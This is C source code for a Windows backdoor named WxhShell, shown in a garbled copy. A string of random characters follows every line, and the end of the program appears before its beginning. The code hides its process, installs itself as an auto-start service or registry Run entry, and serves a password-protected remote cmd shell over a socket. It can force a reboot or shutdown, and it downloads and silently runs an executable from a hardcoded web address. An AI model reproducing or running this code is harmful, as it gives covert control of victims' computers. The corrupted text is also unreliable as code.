    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); RL$%Vy0  
    if(Boot(SHUTDOWN)) &Q#*Nnb3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); =Z{jc  
    else { ?J,,RK.  
    closesocket(wsh); z(>QGzyc  
    ExitThread(0); ,`02fMOLc  
    } *{P/3yH  
    break; lXZ*Pb<j  
    } ^Ua6.RH8  
  // 获取shell 4$WR8  
  case 's': { ?O3d Sxi  
    CmdShell(wsh); <nb%$2r1  
    closesocket(wsh); 0ckmHv  
    ExitThread(0); b kc*it  
    break; { 0-on"o  
  } jFJ}sX9]  
  // 退出 ;b:'i& r  
  case 'x': { 5\= y9Z- x  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); N .H<'Q8&  
    CloseIt(wsh); /&<V5?1|  
    break; !/!ga)Y  
    } _6V1oe2  
  // 离开 iEZ+Znon  
  case 'q': { m[KmXPFht1  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); a+cDH  
    closesocket(wsh); gb|;]mk*"  
    WSACleanup(); IxS%V31  
    exit(1); iPCCTs  
    break; ,wM4X'] HR  
        } &x[7?Y L  
  } 0#DEh|?  
  } nJGs,~"  
X9NP,6  
  // 提示信息 e0h[(3bXs$  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +'-.c"  
} vg5_@7  
  } [8^q3o7n  
hl7 z1h  
  return; M2N8?Ycv3  
} HFI0\*xn(  
g&85L$   
// shell模块句柄 KN[;z2i  
int CmdShell(SOCKET sock) !yxqOT-  
{ ~bC A8  
STARTUPINFO si; C l,vBjl h  
ZeroMemory(&si,sizeof(si)); W7 dSx  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; BV`\6SM~  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; =#,`k<v%I  
PROCESS_INFORMATION ProcessInfo; yk)]aqic  
char cmdline[]="cmd"; IhBc/.&RL  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); p7@R+F\.};  
  return 0; ~!5=o{wy  
} YcX\t6VK  
gK9d `5  
// 自身启动模式 !{ (Bc8 hT  
int StartFromService(void) CUYA:R<)  
{ 3V?x&qlP>  
typedef struct aY#?QjL  
{ [5& nH@og  
  DWORD ExitStatus; #MlpOk*G  
  DWORD PebBaseAddress; *=2W:,$  
  DWORD AffinityMask; y:}qoT_.  
  DWORD BasePriority; BhzDV  
  ULONG UniqueProcessId; [)1vKaC  
  ULONG InheritedFromUniqueProcessId; n\l?+)S *  
}   PROCESS_BASIC_INFORMATION; j&oRj6;Ha+  
8>,w8(Nt  
PROCNTQSIP NtQueryInformationProcess; 8ZVQM7O  
#$- E5R;x  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; M|K^u.4  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; #YYJ4^":k  
)/%5f{+}  
  HANDLE             hProcess; y'`/^>.  
  PROCESS_BASIC_INFORMATION pbi;  '2*OrY  
a @2fJ}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); [i /!ovcY  
  if(NULL == hInst ) return 0; v={{ $=/t  
qrYbc~jI7  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); uW(-?  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); _E`+0;O  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); <3x%-m+p4  
YE{ [f@i0  
  if (!NtQueryInformationProcess) return 0; .{h"0<x  
BZ?Ck[E]Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); |cf-S8pwY  
  if(!hProcess) return 0; TXmS$q   
)6C+0b*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; dHXe2rTE;&  
eMC^ORdY  
  CloseHandle(hProcess); 8YQuq.(>a  
QMsq4yJ)%  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); fUkqhqe  
if(hProcess==NULL) return 0; 0X5cn 0L^  
B/1j4/MS  
HMODULE hMod; Oh*~+/u}q  
char procName[255]; M`H#Qo5/  
unsigned long cbNeeded; w}>%E6UY  
j)mU`b_  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); A~bSB n: '  
@@Ybg6.+*  
  CloseHandle(hProcess); N3|:MMl  
MO8}i?u=z  
if(strstr(procName,"services")) return 1; // 以服务启动 FOsd{Fw  
U`ttT5;  
  return 0; // 注册表启动 !H\o Qv-I  
} /'rj L<M  
p2Ep(0w,R5  
// 主模块 v'@gUgC  
int StartWxhshell(LPSTR lpCmdLine) _xaum  
{ {r&mNbz  
  SOCKET wsl; 6:#o0OeBP  
BOOL val=TRUE; K=[7<b,:3  
  int port=0; \5r^D|Rp}  
  struct sockaddr_in door; 9:USxFM  
G<$:[ +w  
  if(wscfg.ws_autoins) Install(); @-!P1]V|  
#:gd9os :  
port=atoi(lpCmdLine); )=[\YfK  
T(D6'm:X  
if(port<=0) port=wscfg.ws_port; @(sz"  
<eG|`  
  WSADATA data; 1_] X  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; \%a0Lp{ I  
89FAh6uE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Xxg|01  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); V/ G1C^'/  
  door.sin_family = AF_INET; 73cb1 kfPd  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); yxt"vm;  
  door.sin_port = htons(port); L@S\ rImw  
<T}U 3lL^  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { O2{["c e  
closesocket(wsl); SH?McBxS  
return 1; #Q8_:dPY  
} f1 x&Fk  
.5 . (S^u  
  if(listen(wsl,2) == INVALID_SOCKET) { Z@0tZ^V{  
closesocket(wsl); ?.46X^  
return 1; XjGS.&'I  
} >&PM'k  
  Wxhshell(wsl); jq,M1  
  WSACleanup(); &j F'2D^_  
*-nO,K>y`  
return 0; Te+(7 Z  
ka9@7IFM  
} =0g!Q   
9p W~Gz  
// 以NT服务方式启动 zr.\7\v  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 6<];}M_{  
{ Fc5.?X-  
DWORD   status = 0; X,k^p[Rcu  
  DWORD   specificError = 0xfffffff; $gUlM+sK  
|H?t+Dyn)q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; _Vr- bpAf  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; + `|A/w  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; W@T \i2r$z  
  serviceStatus.dwWin32ExitCode     = 0; {cXr!N^K  
  serviceStatus.dwServiceSpecificExitCode = 0; c;VqEpsbl  
  serviceStatus.dwCheckPoint       = 0; lx:$EJ  
  serviceStatus.dwWaitHint       = 0; %F 2h C x  
}(nT(9|  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); # rkq ?:Q  
  if (hServiceStatusHandle==0) return; u<edO+  
&u>dKf)5  
status = GetLastError(); 3a?-UT!  
  if (status!=NO_ERROR) QHR,p/p  
{ d0:LJ'<Q  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^K?-+  
    serviceStatus.dwCheckPoint       = 0; d?fS#Ryb  
    serviceStatus.dwWaitHint       = 0; iW` tr  
    serviceStatus.dwWin32ExitCode     = status; Ln h =y2  
    serviceStatus.dwServiceSpecificExitCode = specificError; >C|pY6  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2RkW/) A9  
    return; +fKOX#%  
  } 6.D|\;9{c  
cpdESc9W  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; W8d-4')|  
  serviceStatus.dwCheckPoint       = 0; _Si=Jp][  
  serviceStatus.dwWaitHint       = 0; ?})A-$f ~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \Bo%2O%4  
} !D??Y^6bI  
Nz dN4+  
// 处理NT服务事件,比如:启动、停止 ukiWNF/  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hq=;ZI  
{ u} ot-!}Q  
switch(fdwControl) dQ`Tt- n  
{ =:]ps<Qx  
case SERVICE_CONTROL_STOP: +{:uPY#1  
  serviceStatus.dwWin32ExitCode = 0; =1IK"BA2?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ]fM|cN8(zM  
  serviceStatus.dwCheckPoint   = 0; ;{ifLI0#  
  serviceStatus.dwWaitHint     = 0; s)1-xA{'.  
  { =)Xj[NNRT  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); g:Hj1!'  
  } E 2n z  
  return; _?~%+Oz/  
case SERVICE_CONTROL_PAUSE: T8^9*]:@c!  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; f^F;`;z  
  break; V 0Bl6  
case SERVICE_CONTROL_CONTINUE: &hYgu3O  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NM3;l}Y8  
  break; F 3|^b{'zO  
case SERVICE_CONTROL_INTERROGATE: IoDT  
  break; FNQ<k[#K'~  
}; ,2FK$: M\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); b80#75Bj>  
} Y(PCc}/\  
k\f _\pj6  
// 标准应用程序主函数 kXz ~ez 7  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) CHgip&(.F  
{ U{2xgN J  
i~';1 .g  
// 获取操作系统版本 f'*-<sSr  
OsIsNt=GetOsVer(); !&:=sA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); pD<w@2K  
*9'3 `^l  
  // 从命令行安装 @:>"VP<(  
  if(strpbrk(lpCmdLine,"iI")) Install(); @]Cg5QW>T  
cN,*QN  
  // 下载执行文件 }3#\vn0gT  
if(wscfg.ws_downexe) { 4XpWDfa.}  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) AQ,lLn+  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;(i6 X)  
}  +mocSx[  
<M:BN6-yG  
if(!OsIsNt) { 7e"}ojt$  
// 如果时win9x,隐藏进程并且设置为注册表启动 8['R D`O  
HideProc(); `zQuhD 8W  
StartWxhshell(lpCmdLine); <`nShP>vl  
} :j&enP5R(q  
else ~o'1PAW7  
  if(StartFromService()) x UdF.c  
  // 以服务方式启动  YSD G!  
  StartServiceCtrlDispatcher(DispatchTable); `5Y*) q  
else /!5Wd(:  
  // 普通方式启动 (?4%Xtul1  
  StartWxhshell(lpCmdLine); 2 @#yQB1  
(:l6R9'=  
return 0; 5JzvT JMx  
} R"t#dG]1t  
'/>Mr!H#  
Wiis<^)  
+CSpL2@  
=========================================== o~LJ+m6-)  
]_s3<&R  
]1 f^ SxSI  
{$frR "K  
+x%u?ZR  
rq%]CsRY5  
" zhn ?;Fi  
|*bUcS<S  
#include <stdio.h> tq L(H25z  
#include <string.h> x3O%W?5  
#include <windows.h> *6}M.`.-  
#include <winsock2.h> rS1gFGrj  
#include <winsvc.h> ('&lAn  
#include <urlmon.h> ob7'''i  
VX)8 pV$  
#pragma comment (lib, "Ws2_32.lib") 65LtCQ }  
#pragma comment (lib, "urlmon.lib") *;A ;)'  
D \ rns+  
#define MAX_USER   100 // 最大客户端连接数 |1@O>GG  
#define BUF_SOCK   200 // sock buffer j,YrM?Xdo  
#define KEY_BUFF   255 // 输入 buffer tT]@yo|?e/  
6"-$WUlg  
#define REBOOT     0   // 重启 nb_/1{F  
#define SHUTDOWN   1   // 关机 ^Om}9rXw1  
-E7mt`:d  
#define DEF_PORT   5000 // 监听端口 _pdKcE\X  
I\)`,w  
#define REG_LEN     16   // 注册表键长度 KXt8IMP_"y  
#define SVC_LEN     80   // NT服务名长度 %vmd2}dA  
A?YYR%o%'  
// 从dll定义API 3BM z{ny=  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); p $Tk;;wm  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); j97+'AKX  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); hUMG}<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); c9/w{}F  
JH?ohA  
// wxhshell配置信息 Cv#aBH'N  
struct WSCFG { T~UDD3  
  int ws_port;         // 监听端口 +5y^c |L0  
  char ws_passstr[REG_LEN]; // 口令 ";/]rwHa)  
  int ws_autoins;       // 安装标记, 1=yes 0=no }c,b]!:  
  char ws_regname[REG_LEN]; // 注册表键名 VzG|Xtco [  
  char ws_svcname[REG_LEN]; // 服务名 6P{bUom?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 MIJuJ]U}  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 dk&F?B{6T  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 v H HgZ  
int ws_downexe;       // 下载执行标记, 1=yes 0=no >iT mILA  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" G$C2?|V)=  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 S1=P-Ao  
_T)y5/[  
}; ?_H9>/:.  
OX"Na2-el  
// default Wxhshell configuration /d&m#%9Up]  
struct WSCFG wscfg={DEF_PORT, x1:mT[[$  
    "xuhuanlingzhe", P-X|qVNK1Z  
    1, I9kz)Q o  
    "Wxhshell", {a[BhK'g  
    "Wxhshell", TuwP'g[  
            "WxhShell Service", 'n|U   
    "Wrsky Windows CmdShell Service", 6J;!p/C8E  
    "Please Input Your Password: ", D`XXR}8V  
  1, ;@; a eu  
  "http://www.wrsky.com/wxhshell.exe", vP{i+s18B  
  "Wxhshell.exe" eU"yF >6'  
    }; ?+}Su'pv}  
9a_P 9s3w  
// 消息定义模块 Yc#Uu8f-  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9R=avfI  
char *msg_ws_prompt="\n\r? for help\n\r#>"; ZA=J`- >k  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; h2Q'5G  
char *msg_ws_ext="\n\rExit."; I"&cr>\  
char *msg_ws_end="\n\rQuit."; {\>4)TA  
char *msg_ws_boot="\n\rReboot..."; -VohU-6 |  
char *msg_ws_poff="\n\rShutdown..."; YdD; Qx#O  
char *msg_ws_down="\n\rSave to "; $:u*)&"t|  
YKe&Ph.  
char *msg_ws_err="\n\rErr!"; -mJs0E*g  
char *msg_ws_ok="\n\rOK!"; QFnuu-82"  
ld(60?z>FH  
char ExeFile[MAX_PATH]; }8#olZ/(q  
int nUser = 0; *(x.egORd  
HANDLE handles[MAX_USER]; ^fF#Ej1  
int OsIsNt; JpXv+V  
9d1km~  
SERVICE_STATUS       serviceStatus; c =m#MMc)  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; NVzo)C8kb  
:'DX M{  
// 函数声明 IJf%OA>v  
int Install(void); &r[f ;|o  
int Uninstall(void); \]>821r  
int DownloadFile(char *sURL, SOCKET wsh); /Am9w$_T[  
int Boot(int flag); rl.K{Uad  
void HideProc(void); | V(sCF  
int GetOsVer(void); M8H hjoo  
int Wxhshell(SOCKET wsl); ]I*RuDv}  
void TalkWithClient(void *cs); k_t|) J  
int CmdShell(SOCKET sock); aQoB1 qd8  
int StartFromService(void); Q7x[08TI  
int StartWxhshell(LPSTR lpCmdLine); {/noYB<;  
fV+a0=Z  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "'5(UiSFz  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); =R0f{&"i  
-#I]/7^  
// 数据结构和表定义 GkOk.9Y,5  
SERVICE_TABLE_ENTRY DispatchTable[] = Pz50etJ  
{ LB@<Q.b,U  
{wscfg.ws_svcname, NTServiceMain}, N+.Nu= +i2  
{NULL, NULL} cK|Uwzif d  
}; 1tbA-+  
q&=z^Ln!G  
// 自我安装 pCkMm)2g!  
int Install(void) La6 9or   
{ &_3#W.w~Z  
  char svExeFile[MAX_PATH]; {)Wf[2zJ  
  HKEY key; ?Nt(sZ-  
  strcpy(svExeFile,ExeFile); pnu?=.O  
N:|``n>  
// 如果是win9x系统,修改注册表设为自启动 \(LD<-a  
if(!OsIsNt) { fDYTupKXH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ]D nAW'm  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O#.YTTj  
  RegCloseKey(key); tHzgZo Bz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 0$Tb5+H5  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); QP~["%}T  
  RegCloseKey(key); bEF2- FO  
  return 0; Qw_uwQZ)  
    } >!5RY8+  
  } @Yt394gA%\  
} I{w(`[Nxw*  
else { bR3Crz(9G  
i).Vu}W#S  
// 如果是NT以上系统,安装为系统服务 x((u  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Wm1dFf.>  
if (schSCManager!=0) l|+$4 Nb2  
{ O+&;,R:  
  SC_HANDLE schService = CreateService DD/B\  
  ( `Fcr`[  
  schSCManager, "(jD*\8x  
  wscfg.ws_svcname, T=/c0#Q|q  
  wscfg.ws_svcdisp, 0;x&\x7K  
  SERVICE_ALL_ACCESS, W7C1\'T  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , N!.o`4 "z  
  SERVICE_AUTO_START, BqJ|l7+  
  SERVICE_ERROR_NORMAL, 7&,$  
  svExeFile, ZeG4z({af  
  NULL, UD14q~ (1Z  
  NULL, pcv\|)&}  
  NULL, b7hICO-w  
  NULL, pIR_2Eq  
  NULL 2r2:  
  ); %V;* E]  
  if (schService!=0) 'WHI.*=  
  { p+Q9?9  
  CloseServiceHandle(schService); ##By!F TP  
  CloseServiceHandle(schSCManager); T0A=vh;S  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); CH `Kpt  
  strcat(svExeFile,wscfg.ws_svcname); PkFG0  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { H3!9H  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); K 91O$'J  
  RegCloseKey(key); Y*b$^C%2  
  return 0; 2iKteJ@h)  
    } fhn$~8[_A  
  } zvGncjMkC  
  CloseServiceHandle(schSCManager); +PBl3  
} {|$kI`h,3-  
} |;:Kn*0/]  
tVf):}<h  
return 1; f#Ud=& >j  
} KCpq<A%  
t"9r`0>  
// 自我卸载 ^f N/  
int Uninstall(void) )Ko~6.:5H  
{ h:7\S\|8  
  HKEY key; %<+Ku11  
"*HEXru#B  
if(!OsIsNt) { ;TC]<N.YJT  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { >mtwXmI  
  RegDeleteValue(key,wscfg.ws_regname); OI0@lSAo<  
  RegCloseKey(key); ^r<l#D,  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { \PZ;y=]p}  
  RegDeleteValue(key,wscfg.ws_regname); 7Ou]!AOhG  
  RegCloseKey(key); p<pGqW  
  return 0; Y_C6*T%  
  } +t-_FbFh3D  
} T+gH38!e  
} jT]R"U/Q  
else { -ert42fN  
PB*G#2W  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); K[?@nl?,z  
if (schSCManager!=0) M%$ITE  
{ ,c`Wmp^AY  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); U)iBeYW:  
  if (schService!=0) Mcz;`h|EW  
  { :_F 8O  
  if(DeleteService(schService)!=0) { |}8SjZcQW  
  CloseServiceHandle(schService); ?b}e0C-a  
  CloseServiceHandle(schSCManager); [_ uT+q3  
  return 0; A!^r9?<  
  } *q\>DE=7  
  CloseServiceHandle(schService); Ps(oxj7  
  } n'j}u  
  CloseServiceHandle(schSCManager); uT=5zu  
} aMT=pGU  
} BaUuDo/ZO  
F.@|-wq&  
return 1; \QG2V$  
} 9GT}_ ^fb  
!,Cbb }  
// 从指定url下载文件 B>S>t5$  
int DownloadFile(char *sURL, SOCKET wsh) _d^d1Q}V  
{ GpO*As_2  
  HRESULT hr; egr"og{  
char seps[]= "/"; " &`>+Yw  
char *token; 0N]\f.=`  
char *file; w/PE)xA  
char myURL[MAX_PATH]; ~gQYgv<7  
char myFILE[MAX_PATH]; j, *= D6  
f<oU" WM  
strcpy(myURL,sURL); u"wWekB  
  token=strtok(myURL,seps); P0sAq7"  
  while(token!=NULL) c/j+aj0.v  
  { ZCBF&.!  
    file=token; P1^|r}  
  token=strtok(NULL,seps); '.gi@Sr5  
  }  M_%c9g@x  
d.Ccc/1-  
GetCurrentDirectory(MAX_PATH,myFILE); [}l 90lP  
strcat(myFILE, "\\"); QctzIC#;k  
strcat(myFILE, file); 0V86]zSo  
  send(wsh,myFILE,strlen(myFILE),0); <c<!|<x  
send(wsh,"...",3,0); ox\D04:M  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xoGrXt9&  
  if(hr==S_OK) l,3,$  
return 0; vl+bc[ i~  
else , )TnIByM  
return 1; 4pelIoj  
q\gbjci  
} C(8!("tU  
CvEIcm=t  
// 系统电源模块 B&1E&Cv_8  
int Boot(int flag) s%>8y\MaK  
{ 1{a4zGE?[  
  HANDLE hToken; 4M6[5RAW{  
  TOKEN_PRIVILEGES tkp; ;i/? fw[h  
knpdECq&k  
  if(OsIsNt) { tGbx/$Y   
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); s5Wb iOF  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <$a-.C5  
    tkp.PrivilegeCount = 1; $A/?evJi8R  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; %q9"2] cR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); OQKc_z'"  
if(flag==REBOOT) { agkKm?xIL  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u86@zlzd  
  return 0; .j>MsQP#\C  
} Rh$+9w  
else { J6>tGKa+e  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) BgDWl{pm  
  return 0; ]|=`-)AP3  
} .=d40m  
  } bGy|T*@  
  else { M`@ASL:u  
if(flag==REBOOT) { >El]5M7h7  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) hn/yX|4c(  
  return 0; ` vFDO$K  
} R?2HnJh  
else { DO+~    
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) -AolW+Y  
  return 0; ]%FP*YU4O  
} T/ eX7p1  
} >msQ@Ch  
/(u? k%Q  
return 1; YU)%-V\  
} v"mZy,u  
sX3qrRY  
// win9x进程隐藏模块 ![fNlG!r  
void HideProc(void) >ke.ZZV?  
{ ~Eb:AC5  
"O|.e`C%^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); wi+L 4v  
  if ( hKernel != NULL ) kt\,$.v8  
  { ~Lg ;7i1L  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); g>w {{G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); x2r.4  
    FreeLibrary(hKernel); u?g&(h  
  } G`Z<a  
Hvy$DX|p  
return; [u^ fy<jdp  
} 7'Hh^0<  
^;9l3P{  
// 获取操作系统版本 B.;@i;7L  
int GetOsVer(void) 4sRg+mMI  
{ HY?#r]Ryt  
  OSVERSIONINFO winfo; F< 5kcu#iL  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); |!7leL  
  GetVersionEx(&winfo); i_l{#*t  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) `L[q`r7  
  return 1; v6[VdWOx5  
  else >j$aY  
  return 0; C&%NO;Ole  
} BS,EW  
& ,:!gYN  
// 客户端句柄模块 kdx06'4o  
int Wxhshell(SOCKET wsl) L+T7Ge q  
{ <sM_zoprc  
  SOCKET wsh; 72J=_d>+  
  struct sockaddr_in client; ` "-P g5  
  DWORD myID; T<b* =i  
[e@m -/B  
  while(nUser<MAX_USER) !$ii*}  
{ /FpPf[  
  int nSize=sizeof(client); A:2CP&*  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); G(Hr*T%  
  if(wsh==INVALID_SOCKET) return 1; r!eW]M  
&2[Xu4*  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); v6Y[_1  
if(handles[nUser]==0) }R5EuR m\  
  closesocket(wsh); Nq\)o{<1  
else gd#?rc*f<3  
  nUser++; H\E%.QIx  
  } 8'b ZR]  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); /-m)  
 YGs'[On8  
  return 0; 0T#z"l<L  
} hNkv lk'Ui  
.d$Q5Qae  
// 关闭 socket ZGI<L  
void CloseIt(SOCKET wsh) =2DK?]K;  
{ c&wiTvRV  
closesocket(wsh); l,(:~KH|  
nUser--; ePIN<F;I  
ExitThread(0); i ps)-1  
} +|8.ymvm  
qdKqc,R1{  
// 客户端请求句柄 KLVYWZib  
void TalkWithClient(void *cs) X%JyC_~<  
{ Lc[TIX  
$)PS#ND&  
  SOCKET wsh=(SOCKET)cs; OT=1doDp  
  char pwd[SVC_LEN]; m$(OQ,E  
  char cmd[KEY_BUFF]; u>agVB4\F  
char chr[1]; ,,80nW9E  
int i,j; k{b|w')  
4 x4[  
  while (nUser < MAX_USER) { c(FGW7L<  
w2/3[VZ}l  
if(wscfg.ws_passstr) { )\2KDXc  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0`p"7!r  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); n_LK8  
  //ZeroMemory(pwd,KEY_BUFF); XkoPN]0n  
      i=0; tSoF!@6  
  while(i<SVC_LEN) { 0.nkh6 ?  
q+<,FdG  
  // 设置超时 qxHn+O!h  
  fd_set FdRead; /YJBRU2  
  struct timeval TimeOut; DrAIQ7Jd  
  FD_ZERO(&FdRead); zw$\d1-+h  
  FD_SET(wsh,&FdRead); O\Z!7UQ$  
  TimeOut.tv_sec=8; B^zg#x#8  
  TimeOut.tv_usec=0; 1uG)U)y/Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (f_J @n  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); UGgo;e  
B~qo^ppVU  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); fGs\R]  
  pwd=chr[0]; T3SFG]H  
  if(chr[0]==0xd || chr[0]==0xa) { ; qbK[3.  
  pwd=0; (. YSs   
  break; _nxu8g]  
  } f2SJ4"X  
  i++; %_B2/~  
    } 8@S]P0lk  
h4hp5M  
  // 如果是非法用户,关闭 socket #6 [F&  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); Q!=`|X|:  
} ohJDu{V  
_:5t~29  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); dhJ=+Fz"w  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); \.sC{@5K  
J>;r(j  
while(1) { ^*B@=  
cT/mi": 8{  
  ZeroMemory(cmd,KEY_BUFF); S'ms>ZENC  
/Lm~GmPt  
      // 自动支持客户端 telnet标准   d^!3&y&  
  j=0; H`URJ8k$Q  
  while(j<KEY_BUFF) { l.Ev]G/5  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ki Kw,@  
  cmd[j]=chr[0]; `T7TWv"M  
  if(chr[0]==0xa || chr[0]==0xd) { L{)t(H>O  
  cmd[j]=0; ;E.f%   
  break; -J#RGB{7  
  } 8+".r2*_iO  
  j++; 8d Fqwpw8  
    } 9b,0_IMHH  
6d/v%-3  
  // 下载文件 V,'_BUl+x  
  if(strstr(cmd,"http://")) { ~ QohP`_  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); afD {w*[8  
  if(DownloadFile(cmd,wsh)) _29wQn@]  
